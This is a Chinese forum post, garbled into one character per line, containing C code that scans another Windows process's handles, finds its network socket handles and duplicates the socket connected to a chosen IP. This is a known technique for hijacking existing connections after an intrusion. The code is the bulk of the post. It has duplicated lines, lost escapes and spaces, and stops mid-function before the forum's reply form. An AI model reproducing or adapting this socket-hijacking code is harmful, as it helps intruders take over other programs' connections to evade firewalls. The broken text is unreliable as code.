h
e
X
C
3
L
L
)
#
d
e
f
i
n
e
_
W
I
N
S
O
C
K
_
D
E
P
R
E
C
A
T
E
D
_
N
O
_
W
A
R
N
I
N
G
S
#
i
n
c
l
u
d
e
<
w
i
n
s
o
c
k
2
.
h
>
#
i
n
c
l
u
d
e
<
W
i
n
d
o
w
s
.
h
>
#
i
n
c
l
u
d
e
<
s
t
d
i
o
.
h
>
#
p
r
a
g
m
a
c
o
m
m
e
n
t
(
l
i
b
,
"
W
S
2
_
3
2
"
)
/
/
M
o
s
t
o
f
t
h
e
c
o
d
e
i
s
a
d
a
p
t
e
d
f
r
o
m
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
Z
e
r
0
M
e
m
0
r
y
/
W
i
n
d
o
w
s
N
T
-
H
a
n
d
l
e
-
S
c
a
n
n
e
r
/
b
l
o
b
/
m
a
s
t
e
r
/
F
i
n
d
H
a
n
d
l
e
s
/
m
a
i
n
.
c
p
p
#
d
e
f
i
n
e
S
T
A
T
U
S
_
I
N
F
O
_
L
E
N
G
T
H
_
M
I
S
M
A
T
C
H
0
x
c
0
0
0
0
0
0
4
#
d
e
f
i
n
e
S
y
s
t
e
m
H
a
n
d
l
e
I
n
f
o
r
m
a
t
i
o
n
1
6
#
d
e
f
i
n
e
O
b
j
e
c
t
N
a
m
e
I
n
f
o
r
m
a
t
i
o
n
1
#
d
e
f
i
n
e
M
S
G
_
E
N
D
_
O
F
_
T
R
A
N
S
M
I
S
S
I
O
N
"
x
3
1
x
4
1
x
5
9
x
2
6
x
5
3
x
5
8
x
9
7
x
9
3
x
2
3
x
8
4
"
#
d
e
f
i
n
e
B
U
F
S
I
Z
E
6
5
5
3
6
t
y
p
e
d
e
f
N
T
S
T
A
T
U
S
(
N
T
A
P
I
*
_
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
)
(
U
L
O
N
G
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
C
l
a
s
s
,
P
V
O
I
D
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
,
U
L
O
N
G
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
L
e
n
g
t
h
,
P
U
L
O
N
G
R
e
t
u
r
n
L
e
n
g
t
h
)
;
t
y
p
e
d
e
f
N
T
S
T
A
T
U
S
(
N
T
A
P
I
*
_
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
)
(
H
A
N
D
L
E
S
o
u
r
c
e
P
r
o
c
e
s
s
H
a
n
d
l
e
,
H
A
N
D
L
E
S
o
u
r
c
e
H
a
n
d
l
e
,
H
A
N
D
L
E
T
a
r
g
e
t
P
r
o
c
e
s
s
H
a
n
d
l
e
,
P
H
A
N
D
L
E
T
a
r
g
e
t
H
a
n
d
l
e
,
A
C
C
E
S
S
_
M
A
S
K
D
e
s
i
r
e
d
A
c
c
e
s
s
,
U
L
O
N
G
A
t
t
r
i
b
u
t
e
s
,
U
L
O
N
G
O
p
t
i
o
n
s
)
;
t
y
p
e
d
e
f
N
T
S
T
A
T
U
S
(
N
T
A
P
I
*
_
N
t
Q
u
e
r
y
O
b
j
e
c
t
)
(
H
A
N
D
L
E
O
b
j
e
c
t
H
a
n
d
l
e
,
U
L
O
N
G
O
b
j
e
c
t
I
n
f
o
r
m
a
t
i
o
n
C
l
a
s
s
,
P
V
O
I
D
O
b
j
e
c
t
I
n
f
o
r
m
a
t
i
o
n
,
U
L
O
N
G
O
b
j
e
c
t
I
n
f
o
r
m
a
t
i
o
n
L
e
n
g
t
h
,
P
U
L
O
N
G
R
e
t
u
r
n
L
e
n
g
t
h
)
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
S
Y
S
T
E
M
_
H
A
N
D
L
E
{
U
L
O
N
G
P
r
o
c
e
s
s
I
d
;
B
Y
T
E
O
b
j
e
c
t
T
y
p
e
N
u
m
b
e
r
;
B
Y
T
E
F
l
a
g
s
;
U
S
H
O
R
T
H
a
n
d
l
e
;
P
V
O
I
D
O
b
j
e
c
t
;
A
C
C
E
S
S
_
M
A
S
K
G
r
a
n
t
e
d
A
c
c
e
s
s
;
}
S
Y
S
T
E
M
_
H
A
N
D
L
E
,
*
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
{
U
L
O
N
G
H
a
n
d
l
e
C
o
u
n
t
;
S
Y
S
T
E
M
_
H
A
N
D
L
E
H
a
n
d
l
e
s
[
1
]
;
}
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
,
*
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
U
N
I
C
O
D
E
_
S
T
R
I
N
G
{
U
S
H
O
R
T
L
e
n
g
t
h
;
U
S
H
O
R
T
M
a
x
i
m
u
m
L
e
n
g
t
h
;
P
W
S
T
R
B
u
f
f
e
r
;
}
U
N
I
C
O
D
E
_
S
T
R
I
N
G
,
*
P
U
N
I
C
O
D
E
_
S
T
R
I
N
G
;
t
y
p
e
d
e
f
e
n
u
m
_
P
O
O
L
_
T
Y
P
E
{
N
o
n
P
a
g
e
d
P
o
o
l
,
P
a
g
e
d
P
o
o
l
,
N
o
n
P
a
g
e
d
P
o
o
l
M
u
s
t
S
u
c
c
e
e
d
,
D
o
n
t
U
s
e
T
h
i
s
T
y
p
e
,
N
o
n
P
a
g
e
d
P
o
o
l
C
a
c
h
e
A
l
i
g
n
e
d
,
P
a
g
e
d
P
o
o
l
C
a
c
h
e
A
l
i
g
n
e
d
,
N
o
n
P
a
g
e
d
P
o
o
l
C
a
c
h
e
A
l
i
g
n
e
d
M
u
s
t
S
}
P
O
O
L
_
T
Y
P
E
,
*
P
P
O
O
L
_
T
Y
P
E
;
t
y
p
e
d
e
f
s
t
r
u
c
t
_
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
{
U
N
I
C
O
D
E
_
S
T
R
I
N
G
N
a
m
e
;
}
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
,
*
P
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
;
P
V
O
I
D
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
P
S
T
R
L
i
b
r
a
r
y
N
a
m
e
,
P
S
T
R
P
r
o
c
N
a
m
e
)
{
r
e
t
u
r
n
G
e
t
P
r
o
c
A
d
d
r
e
s
s
(
G
e
t
M
o
d
u
l
e
H
a
n
d
l
e
A
(
L
i
b
r
a
r
y
N
a
m
e
)
,
P
r
o
c
N
a
m
e
)
;
}
S
O
C
K
E
T
f
i
n
d
T
a
r
g
e
t
S
o
c
k
e
t
(
D
W
O
R
D
d
w
P
r
o
c
e
s
s
I
d
,
L
P
S
T
R
d
s
t
I
P
)
{
H
A
N
D
L
E
h
P
r
o
c
;
H
A
N
D
L
E
h
P
r
o
c
;
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
h
a
n
d
l
e
I
n
f
o
;
D
W
O
R
D
h
a
n
d
l
e
I
n
f
o
S
i
z
e
=
0
x
1
0
0
0
0
;
N
T
S
T
A
T
U
S
s
t
a
t
u
s
;
D
W
O
R
D
r
e
t
u
r
n
L
e
n
g
t
h
;
W
S
A
P
R
O
T
O
C
O
L
_
I
N
F
O
W
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
=
{
0
}
;
S
O
C
K
E
T
t
a
r
g
e
t
S
o
c
k
e
t
;
/
/
O
p
e
n
t
a
r
g
e
t
p
r
o
c
e
s
s
w
i
t
h
P
R
O
C
E
S
S
_
D
U
P
_
H
A
N
D
L
E
r
i
g
h
t
s
h
P
r
o
c
=
O
p
e
n
P
r
o
c
e
s
s
(
P
R
O
C
E
S
S
_
D
U
P
_
H
A
N
D
L
E
,
F
A
L
S
E
,
d
w
P
r
o
c
e
s
s
I
d
)
;
i
f
(
!
h
P
r
o
c
)
{
p
r
i
n
t
f
(
"
[
!
]
E
r
r
o
r
:
c
o
u
l
d
n
o
t
o
p
e
n
t
h
e
p
r
o
c
e
s
s
!
n
"
)
;
e
x
i
t
(
-
1
)
;
}
p
r
i
n
t
f
(
"
[
+
]
H
a
n
d
l
e
t
o
p
r
o
c
e
s
s
o
b
t
a
i
n
e
d
!
n
"
)
;
/
/
F
i
n
d
t
h
e
f
u
n
c
t
i
o
n
s
_
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
=
(
_
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
)
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
"
n
t
d
l
l
.
d
l
l
"
,
"
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
"
)
;
_
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
=
(
_
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
)
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
"
n
t
d
l
l
.
d
l
l
"
,
"
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
"
)
;
_
N
t
Q
u
e
r
y
O
b
j
e
c
t
N
t
Q
u
e
r
y
O
b
j
e
c
t
=
(
_
N
t
Q
u
e
r
y
O
b
j
e
c
t
)
G
e
t
L
i
b
r
a
r
y
P
r
o
c
A
d
d
r
e
s
s
(
"
n
t
d
l
l
.
d
l
l
"
,
"
N
t
Q
u
e
r
y
O
b
j
e
c
t
"
)
;
/
/
R
e
t
r
i
e
v
e
h
a
n
d
l
e
s
f
r
o
m
t
h
e
t
a
r
g
e
t
p
r
o
c
e
s
s
h
a
n
d
l
e
I
n
f
o
=
(
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
)
m
a
l
l
o
c
(
h
a
n
d
l
e
I
n
f
o
S
i
z
e
)
;
w
h
i
l
e
(
(
s
t
a
t
u
s
=
N
t
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
(
S
y
s
t
e
m
H
a
n
d
l
e
I
n
f
o
r
m
a
t
i
o
n
,
h
a
n
d
l
e
I
n
f
o
,
h
a
n
d
l
e
I
n
f
o
S
i
z
e
,
N
U
L
L
)
)
=
=
S
T
A
T
U
S
_
I
N
F
O
_
L
E
N
G
T
H
_
M
I
S
M
A
T
C
H
)
h
a
n
d
l
e
I
n
f
o
=
(
P
S
Y
S
T
E
M
_
H
A
N
D
L
E
_
I
N
F
O
R
M
A
T
I
O
N
)
r
e
a
l
l
o
c
(
h
a
n
d
l
e
I
n
f
o
,
h
a
n
d
l
e
I
n
f
o
S
i
z
e
*
=
2
)
;
p
r
i
n
t
f
(
"
[
+
]
F
o
u
n
d
[
%
d
]
h
a
n
d
l
e
r
s
i
n
P
I
D
%
d
n
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
n
"
,
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
C
o
u
n
t
,
d
w
P
r
o
c
e
s
s
I
d
)
;
/
/
I
t
e
r
a
t
e
f
o
r
(
D
W
O
R
D
i
=
0
;
i
<
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
C
o
u
n
t
;
i
+
+
)
{
/
/
C
h
e
c
k
i
f
i
t
i
s
t
h
e
d
e
s
i
r
e
d
t
y
p
e
o
f
h
a
n
d
l
e
i
f
(
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
s
[
i
]
.
O
b
j
e
c
t
T
y
p
e
N
u
m
b
e
r
=
=
0
x
2
4
)
{
S
Y
S
T
E
M
_
H
A
N
D
L
E
h
a
n
d
l
e
=
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
s
[
i
]
;
H
A
N
D
L
E
d
u
p
H
a
n
d
l
e
=
N
U
L
L
;
P
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
o
b
j
e
c
t
N
a
m
e
I
n
f
o
;
/
/
D
u
p
p
l
i
c
a
t
e
h
a
n
d
l
e
N
t
D
u
p
l
i
c
a
t
e
O
b
j
e
c
t
(
h
P
r
o
c
,
(
H
A
N
D
L
E
)
h
a
n
d
l
e
.
H
a
n
d
l
e
,
G
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
(
)
,
&
d
u
p
H
a
n
d
l
e
,
P
R
O
C
E
S
S
_
A
L
L
_
A
C
C
E
S
S
,
F
A
L
S
E
,
D
U
P
L
I
C
A
T
E
_
S
A
M
E
_
A
C
C
E
S
S
)
;
o
b
j
e
c
t
N
a
m
e
I
n
f
o
=
(
P
O
B
J
E
C
T
_
N
A
M
E
_
I
N
F
O
R
M
A
T
I
O
N
)
m
a
l
l
o
c
(
0
x
1
0
0
0
)
;
/
/
G
e
t
h
a
n
d
l
e
i
n
f
o
N
t
Q
u
e
r
y
O
b
j
e
c
t
(
d
u
p
H
a
n
d
l
e
,
O
b
j
e
c
t
N
a
m
e
I
n
f
o
r
m
a
t
i
o
n
,
o
b
j
e
c
t
N
a
m
e
I
n
f
o
,
0
x
1
0
0
0
,
&
r
e
t
u
r
n
L
e
n
g
t
h
)
;
/
/
N
a
r
r
o
w
t
h
e
s
e
a
r
c
h
c
h
e
c
k
i
n
g
i
f
t
h
e
n
a
m
e
l
e
n
g
t
h
i
s
c
o
r
r
e
c
t
(
l
e
n
(
D
e
v
i
c
e
A
f
d
)
=
=
1
1
*
2
)
i
f
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
-
>
N
a
m
e
.
L
e
n
g
t
h
=
=
2
2
)
{
i
f
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
-
>
N
a
m
e
.
L
e
n
g
t
h
=
=
2
2
)
{
p
r
i
n
t
f
(
"
[
-
]
T
e
s
t
i
n
g
%
d
o
f
%
d
n
"
,
i
,
h
a
n
d
l
e
I
n
f
o
-
>
H
a
n
d
l
e
C
o
u
n
t
)
;
/
/
C
h
e
c
k
i
f
i
t
e
n
d
s
i
n
"
A
f
d
"
L
P
W
S
T
R
n
e
e
d
l
e
=
(
L
P
W
S
T
R
)
m
a
l
l
o
c
(
8
)
;
m
e
m
c
p
y
(
n
e
e
d
l
e
,
o
b
j
e
c
t
N
a
m
e
I
n
f
o
-
>
N
a
m
e
.
B
u
f
f
e
r
+
8
,
6
)
;
i
f
(
n
e
e
d
l
e
[
0
]
=
=
'
A
'
&
&
n
e
e
d
l
e
[
1
]
=
=
'
f
'
&
&
n
e
e
d
l
e
[
2
]
=
=
'
d
'
)
{
/
/
W
e
g
o
t
a
c
a
n
d
i
d
a
t
e
p
r
i
n
t
f
(
"
t
[
*
]
D
e
v
i
c
e
A
f
d
f
o
u
n
d
a
t
%
d
!
n
"
,
i
)
;
/
/
T
r
y
t
o
d
u
p
l
i
c
a
t
e
t
h
e
s
o
c
k
e
t
s
t
a
t
u
s
=
W
S
A
D
u
p
l
i
c
a
t
e
S
o
c
k
e
t
W
(
(
S
O
C
K
E
T
)
d
u
p
H
a
n
d
l
e
,
G
e
t
C
u
r
r
e
n
t
P
r
o
c
e
s
s
I
d
(
)
,
&
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
)
;
i
f
(
s
t
a
t
u
s
!
=
0
)
{
p
r
i
n
t
f
(
"
t
t
[
X
]
E
r
r
o
r
d
u
p
l
i
c
a
t
i
n
g
s
o
c
k
e
t
!
n
"
)
;
f
r
e
e
(
n
e
e
d
l
e
)
;
f
r
e
e
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
)
;
C
l
o
s
e
H
a
n
d
l
e
(
d
u
p
H
a
n
d
l
e
)
;
c
o
n
t
i
n
u
e
;
}
/
/
W
e
g
o
t
i
t
?
t
a
r
g
e
t
S
o
c
k
e
t
=
W
S
A
S
o
c
k
e
t
(
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
.
i
A
d
d
r
e
s
s
F
a
m
i
l
y
,
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
.
i
S
o
c
k
e
t
T
y
p
e
,
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
.
i
P
r
o
t
o
c
o
l
,
&
w
s
a
P
r
o
t
o
c
o
l
I
n
f
o
,
0
,
W
S
A
_
F
L
A
G
_
O
V
E
R
L
A
P
P
E
D
)
;
i
f
(
t
a
r
g
e
t
S
o
c
k
e
t
!
=
I
N
V
A
L
I
D
_
S
O
C
K
E
T
)
{
s
t
r
u
c
t
s
o
c
k
a
d
d
r
_
i
n
s
o
c
k
a
d
d
r
;
D
W
O
R
D
l
e
n
;
l
e
n
=
s
i
z
e
o
f
(
S
O
C
K
A
D
D
R
_
I
N
)
;
/
/
I
t
t
h
i
s
t
h
e
s
o
c
k
e
t
?
i
f
(
g
e
t
p
e
e
r
n
a
m
e
(
t
a
r
g
e
t
S
o
c
k
e
t
,
(
S
O
C
K
A
D
D
R
*
)
&
s
o
c
k
a
d
d
r
,
&
l
e
n
)
=
=
0
)
{
i
f
(
s
t
r
c
m
p
(
i
n
e
t
_
n
t
o
a
(
s
o
c
k
a
d
d
r
.
s
i
n
_
a
d
d
r
)
,
d
s
t
I
P
)
=
=
0
)
{
p
r
i
n
t
f
(
"
t
[
*
]
D
u
p
l
i
c
a
t
e
d
s
o
c
k
e
t
(
%
s
)
n
"
,
i
n
e
t
_
n
t
o
a
(
s
o
c
k
a
d
d
r
.
s
i
n
_
a
d
d
r
)
)
;
f
r
e
e
(
n
e
e
d
l
e
)
;
f
r
e
e
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
)
;
r
e
t
u
r
n
t
a
r
g
e
t
S
o
c
k
e
t
;
}
}
}
f
r
e
e
(
n
e
e
d
l
e
)
;
}
}
f
r
e
e
(
o
b
j
e
c
t
N
a
m
e
I
n
f
o
)
;
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页